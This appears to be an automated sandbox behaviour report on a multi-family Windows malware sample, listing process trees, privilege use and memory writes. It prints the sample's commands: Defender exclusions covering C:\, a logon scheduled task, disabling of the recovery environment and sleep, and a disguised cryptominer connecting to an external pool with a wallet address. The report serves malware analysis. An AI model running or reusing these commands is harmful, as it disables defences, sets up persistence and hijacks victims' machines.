3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2084	powershell.exe
628	winlogon.exe
628	winlogon.exe
2592	Win-v41.exe
2592	Win-v41.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3268	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeTakeOwnershipPrivilege	2820	takeown.exe
Token: SeShutdownPrivilege	3880	powercfg.exe
Token: SeCreatePagefilePrivilege	3880	powercfg.exe
Token: SeShutdownPrivilege	1296	powercfg.exe
Token: SeCreatePagefilePrivilege	1296	powercfg.exe
Token: SeShutdownPrivilege	380	powercfg.exe
Token: SeCreatePagefilePrivilege	380	powercfg.exe
Token: SeShutdownPrivilege	4844	powercfg.exe
Token: SeCreatePagefilePrivilege	4844	powercfg.exe
Token: SeShutdownPrivilege	2540	powercfg.exe
Token: SeCreatePagefilePrivilege	2540	powercfg.exe
Token: SeShutdownPrivilege	4200	powercfg.exe
Token: SeCreatePagefilePrivilege	4200	powercfg.exe
Token: SeShutdownPrivilege	1624	powercfg.exe
Token: SeCreatePagefilePrivilege	1624	powercfg.exe
Token: SeShutdownPrivilege	1624	powercfg.exe
Token: SeCreatePagefilePrivilege	1624	powercfg.exe
Token: SeLockMemoryPrivilege	816	cmd.exe
Token: SeLockMemoryPrivilege	816	cmd.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	628	winlogon.exe
Token: SeShutdownPrivilege	3664	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3664	mousocoreworker.exe
Token: SeShutdownPrivilege	668	dwm.exe
Token: SeCreatePagefilePrivilege	668	dwm.exe
Token: SeShutdownPrivilege	3664	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3664	mousocoreworker.exe
Token: SeShutdownPrivilege	3664	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3664	mousocoreworker.exe
Token: SeShutdownPrivilege	3744	RuntimeBroker.exe
Token: SeShutdownPrivilege	3664	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3664	mousocoreworker.exe
Token: SeShutdownPrivilege	3744	RuntimeBroker.exe
Token: SeShutdownPrivilege	3664	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3664	mousocoreworker.exe
Token: SeShutdownPrivilege	3268	Explorer.EXE
Token: SeCreatePagefilePrivilege	3268	Explorer.EXE
Token: SeShutdownPrivilege	3268	Explorer.EXE
Token: SeCreatePagefilePrivilege	3268	Explorer.EXE
Token: SeShutdownPrivilege	3664	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3664	mousocoreworker.exe
Token: SeShutdownPrivilege	3268	Explorer.EXE
Token: SeCreatePagefilePrivilege	3268	Explorer.EXE
Token: SeShutdownPrivilege	3268	Explorer.EXE
Token: SeCreatePagefilePrivilege	3268	Explorer.EXE
Token: SeShutdownPrivilege	3744	RuntimeBroker.exe
Token: SeShutdownPrivilege	3664	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	3664	mousocoreworker.exe
Token: SeAssignPrimaryTokenPrivilege	2128	svchost.exe
Token: SeIncreaseQuotaPrivilege	2128	svchost.exe
Token: SeSecurityPrivilege	2128	svchost.exe
Token: SeTakeOwnershipPrivilege	2128	svchost.exe
Token: SeLoadDriverPrivilege	2128	svchost.exe
Token: SeSystemtimePrivilege	2128	svchost.exe
Token: SeBackupPrivilege	2128	svchost.exe
Token: SeRestorePrivilege	2128	svchost.exe
Token: SeShutdownPrivilege	2128	svchost.exe
Token: SeSystemEnvironmentPrivilege	2128	svchost.exe
Token: SeUndockPrivilege	2128	svchost.exe
Token: SeManageVolumePrivilege	2128	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
816	cmd.exe

Suspicious use of UnmapMainImage 13 IoCs

pid	Process
2828	svchost.exe
2828	svchost.exe
2828	svchost.exe
2828	svchost.exe
2828	svchost.exe
2828	svchost.exe
2828	svchost.exe
2828	svchost.exe
2828	svchost.exe
2828	svchost.exe
2828	svchost.exe
2828	svchost.exe
3268	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3316 wrote to memory of 4668	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	86
PID 3316 wrote to memory of 4532	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	88
PID 3316 wrote to memory of 4352	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	91
PID 3316 wrote to memory of 1188	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	93
PID 3316 wrote to memory of 2016	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	95
PID 2016 wrote to memory of 384	2016	cmd.exe	97
PID 3316 wrote to memory of 3516	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	99
PID 3516 wrote to memory of 2820	3516	cmd.exe	101
PID 3316 wrote to memory of 4480	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	102
PID 4480 wrote to memory of 4964	4480	cmd.exe	104
PID 3316 wrote to memory of 260	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	105
PID 260 wrote to memory of 3412	260	cmd.exe	107
PID 3316 wrote to memory of 3880	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	108
PID 3316 wrote to memory of 1296	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	110
PID 3316 wrote to memory of 380	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	113
PID 3316 wrote to memory of 4844	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	115
PID 3316 wrote to memory of 2540	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	117
PID 3316 wrote to memory of 4200	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	119
PID 3316 wrote to memory of 1624	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	121
PID 3316 wrote to memory of 2000	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	123
PID 2000 wrote to memory of 3088	2000	cmd.exe	125
PID 3316 wrote to memory of 816	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	140
PID 3316 wrote to memory of 768	3316	2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	142
PID 3436 wrote to memory of 2084	3436	cmd.exe	144
PID 2084 wrote to memory of 628	2084	powershell.exe	5
PID 628 wrote to memory of 684	628	winlogon.exe	7
PID 628 wrote to memory of 876	628	winlogon.exe	11
PID 628 wrote to memory of 1004	628	winlogon.exe	13
PID 628 wrote to memory of 700	628	winlogon.exe	14
PID 628 wrote to memory of 668	628	winlogon.exe	15
PID 628 wrote to memory of 1044	628	winlogon.exe	16
PID 628 wrote to memory of 1104	628	winlogon.exe	17
PID 628 wrote to memory of 2592	628	winlogon.exe	147
PID 628 wrote to memory of 1116	628	winlogon.exe	18
PID 628 wrote to memory of 1232	628	winlogon.exe	20
PID 628 wrote to memory of 1256	628	winlogon.exe	21
PID 628 wrote to memory of 1264	628	winlogon.exe	22
PID 628 wrote to memory of 1372	628	winlogon.exe	23
PID 628 wrote to memory of 1396	628	winlogon.exe	24
PID 628 wrote to memory of 1552	628	winlogon.exe	25
PID 628 wrote to memory of 1576	628	winlogon.exe	26
PID 628 wrote to memory of 1604	628	winlogon.exe	27
PID 628 wrote to memory of 1636	628	winlogon.exe	28
PID 628 wrote to memory of 1644	628	winlogon.exe	29
PID 628 wrote to memory of 1780	628	winlogon.exe	30
PID 628 wrote to memory of 1844	628	winlogon.exe	31
PID 628 wrote to memory of 1860	628	winlogon.exe	32
PID 628 wrote to memory of 1956	628	winlogon.exe	33
PID 628 wrote to memory of 1976	628	winlogon.exe	34
PID 628 wrote to memory of 1196	628	winlogon.exe	35
PID 628 wrote to memory of 1272	628	winlogon.exe	36
PID 628 wrote to memory of 472	628	winlogon.exe	37
PID 628 wrote to memory of 2128	628	winlogon.exe	38
PID 628 wrote to memory of 2140	628	winlogon.exe	39
PID 628 wrote to memory of 2256	628	winlogon.exe	40
PID 628 wrote to memory of 2336	628	winlogon.exe	42
PID 628 wrote to memory of 2560	628	winlogon.exe	44
PID 628 wrote to memory of 2680	628	winlogon.exe	45
PID 628 wrote to memory of 2692	628	winlogon.exe	46
PID 628 wrote to memory of 2828	628	winlogon.exe	47
PID 628 wrote to memory of 2864	628	winlogon.exe	48
PID 628 wrote to memory of 2876	628	winlogon.exe	49
PID 628 wrote to memory of 2896	628	winlogon.exe	50
PID 628 wrote to memory of 3016	628	winlogon.exe	51

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:668
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2592

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-77aa2efa-b741-4b7f-93b1-d516e197c1be -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-725017e3-1c3b-4dc2-abdf-eab43be197d0 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-7062d308-6f7b-43ce-8838-d3408c06e6a7 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-4576ac96-6da1-4728-9d07-167bebf5e544 -LifetimeId:1e3878b5-a07a-4874-80c9-56d9313d282a -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1264
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1636
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2140

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2256

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2336

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Suspicious use of UnmapMainImage
PID:2828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3180

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3268
- C:\Users\Admin\AppData\Local\Temp\2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-05-23_d3af62ebf39112a0ad1c4e57dfeddfed_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4352
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1188
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C reagentc /disable
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:384
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Windows\system32\takeown.exe
      takeown /F "C:\Windows\System32\reagentc.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:2820
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4480
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4964
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:260
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3412
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3880
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1296
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:380
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4844
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2540
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4200
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /hibernate off
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1624
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2000
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5116
  - - C:\Windows\system32\PING.EXE
      ping -n 1 -w 1000 8.8.8.8
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3088
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
    3⤵
    - Badlisted process makes network request
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:816
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3388

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3588

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3744

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3988

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1696

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1448

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2960

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3356

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:5000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:2860

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2956

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1040

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:3468

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3956

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 37b04c69399fbbb8d495787a463d7610 EuE+pMVTC0SZVsZUmt9ghA.0.1.0.0.0
1⤵
PID:680
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2964

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:2148

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:2164

C:\Windows\system32\cmd.exe
